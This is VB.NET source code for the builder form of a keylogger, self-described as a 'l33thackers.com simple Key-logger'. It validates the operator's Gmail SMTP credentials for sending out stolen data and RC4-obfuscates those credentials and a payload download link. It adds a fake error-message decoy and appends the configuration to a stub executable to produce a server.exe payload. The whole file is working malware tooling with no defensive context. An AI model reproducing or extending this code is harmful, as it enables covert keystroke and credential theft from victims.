Imports System.Net.Mail
Imports System.IO
Public Class Form1
    Dim stub, User, Pass, key, dlkey, dlink, faketitle, fakemsg, cb1, cb2, cb3, cb4, cb5, cb6 As String
    Const FileSplit = "@D4rkn3s5@"
    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
        If CheckBox1.Checked = True Then
            User = rc4(TextBox1.Text, Encryptmail.TextBox1.Text)
            Pass = rc4(TextBox2.Text, Encryptmail.TextBox1.Text)
            Try
                Dim Mail As New MailMessage
                Mail.To.Add(TextBox1.Text)
                Mail.From = New MailAddress(TextBox1.Text)
                Mail.Subject = "Test Mail"
                Mail.Body = " This is a test email from l33thackers.com simple Key-logger. This message is being sent to ensure you have provided the correct details for your account."
                Dim SMTP As New SmtpClient("smtp.gmail.com")
                SMTP.Port = 587
                SMTP.EnableSsl = True
                SMTP.Credentials = New System.Net.NetworkCredential(rc4(User, Encryptmail.TextBox1.Text), rc4(Pass, Encryptmail.TextBox1.Text))
                SMTP.Send(Mail)
                MsgBox("E-mail address is vaild and works perfect.", MsgBoxStyle.Information, "Works perfect")
                Button2.Enabled = True
            Catch ex As Exception
                MsgBox("Error, invaild e-mail address username and/or password.", MsgBoxStyle.Critical, "Error")
                Button2.Enabled = False
            End Try
        Else
            Try
                Dim Mail As New MailMessage
                Mail.To.Add(TextBox1.Text)
                Mail.From = New MailAddress(TextBox1.Text)
                Mail.Subject = "Test Mail"
                Mail.Body = " This is a test email from l33thackers.com simple Key-logger. This message is being sent to ensure you have provided the correct details for your account."
                Dim SMTP As New SmtpClient("smtp.gmail.com")
                SMTP.Port = 587
                SMTP.EnableSsl = True
                SMTP.Credentials = New System.Net.NetworkCredential(TextBox1.Text, TextBox2.Text)
                SMTP.Send(Mail)
                MsgBox("E-mail address is vaild and works perfect.", MsgBoxStyle.Information, "Works perfect")
                Button2.Enabled = True
            Catch ex As Exception
                MsgBox("Error, invaild e-mail address username and/or password.", MsgBoxStyle.Critical, "Error")
                Button2.Enabled = False
            End Try
        End If
    End Sub

    Private Sub CheckBox1_CheckedChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles CheckBox1.CheckedChanged
        If CheckBox1.Checked = True Then
            Encryptmail.Show()
        End If
    End Sub

    Private Sub CheckBox2_CheckedChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles CheckBox2.CheckedChanged
        If CheckBox2.Checked = True Then
            fake.Show()
        End If
    End Sub

    Private Sub CheckBox5_CheckedChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles CheckBox5.CheckedChanged
        If CheckBox5.Checked = True Then
            dllink.Show()
        End If
    End Sub

    Private Sub CheckBox6_CheckedChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles CheckBox6.CheckedChanged
        If CheckBox6.Checked = True Then
            dlencrypt.Show()
        End If
    End Sub

    Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
        dlink = dllink.TextBox1.Text
        dlkey = dlencrypt.TextBox1.Text
        If CheckBox6.Checked = True Then
            dlink = rc4(dllink.TextBox1.Text, dlkey)
            My.Computer.Network.DownloadFile(rc4(dlink, dlkey), "C:\KFJD947DHC.exe")
            My.Computer.FileSystem.DeleteFile("C:\KFJD947DHC.exe")
        Else
            My.Computer.Network.DownloadFile(dlink, "C:\KFJD947DHC.exe")
            My.Computer.FileSystem.DeleteFile("C:\KFJD947DHC.exe")
        End If
    End Sub

    Private Sub Button3_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button3.Click
        If CheckBox1.Checked = True Then
            cb1 = True
            key = Encryptmail.TextBox1.Text
            User = rc4(TextBox1.Text, key)
            Pass = rc4(TextBox2.Text, key)
        Else
            cb1 = False
            User = TextBox1.Text
            Pass = TextBox2.Text
        End If
        If CheckBox2.Checked = True Then
            cb2 = True
            faketitle = fake.TextBox1.Text
            fakemsg = fake.TextBox2.Text
        Else
            cb2 = False
        End If
        If CheckBox3.Checked = True Then
            cb3 = True
        Else
            cb3 = False
        End If
        If CheckBox4.Checked = True Then
            cb4 = True
        Else
            cb5 = False
        End If
        If CheckBox5.Checked = True Then
            cb5 = True
            dlink = dllink.TextBox1.Text
        Else
            cb5 = False
        End If
        If CheckBox6.Checked = True Then
            cb6 = True
            dlkey = dlencrypt.TextBox1.Text
            dlink = rc4(dllink.TextBox1.Text, dlkey)
        Else
            cb6 = False
        End If

        FileOpen(1, Application.StartupPath & "\Stub.exe", OpenMode.Binary, OpenAccess.Read, OpenShare.Default)
        stub = Space(LOF(1))
        FileGet(1, stub)
        FileClose(1)

        If File.Exists("/Server.exe") Then
            My.Computer.FileSystem.DeleteFile("/Server.exe")
        End If

        FileOpen(2, Application.StartupPath & "\server.exe", OpenMode.Binary, OpenAccess.ReadWrite, OpenShare.Default)
        FilePut(2, stub & FileSplit & User & FileSplit & Pass & FileSplit & key & FileSplit & dlink & FileSplit & dlkey & FileSplit & faketitle & FileSplit & fakemsg & FileSplit & cb1 & FileSplit & cb2 & FileSplit & cb3 & FileSplit & cb4 & FileSplit & cb5 & FileSplit & cb6)
        FileClose(2)
        MsgBox("Server.exe has been built successfully", MsgBoxStyle.Information, "Success")

    End Sub
End Class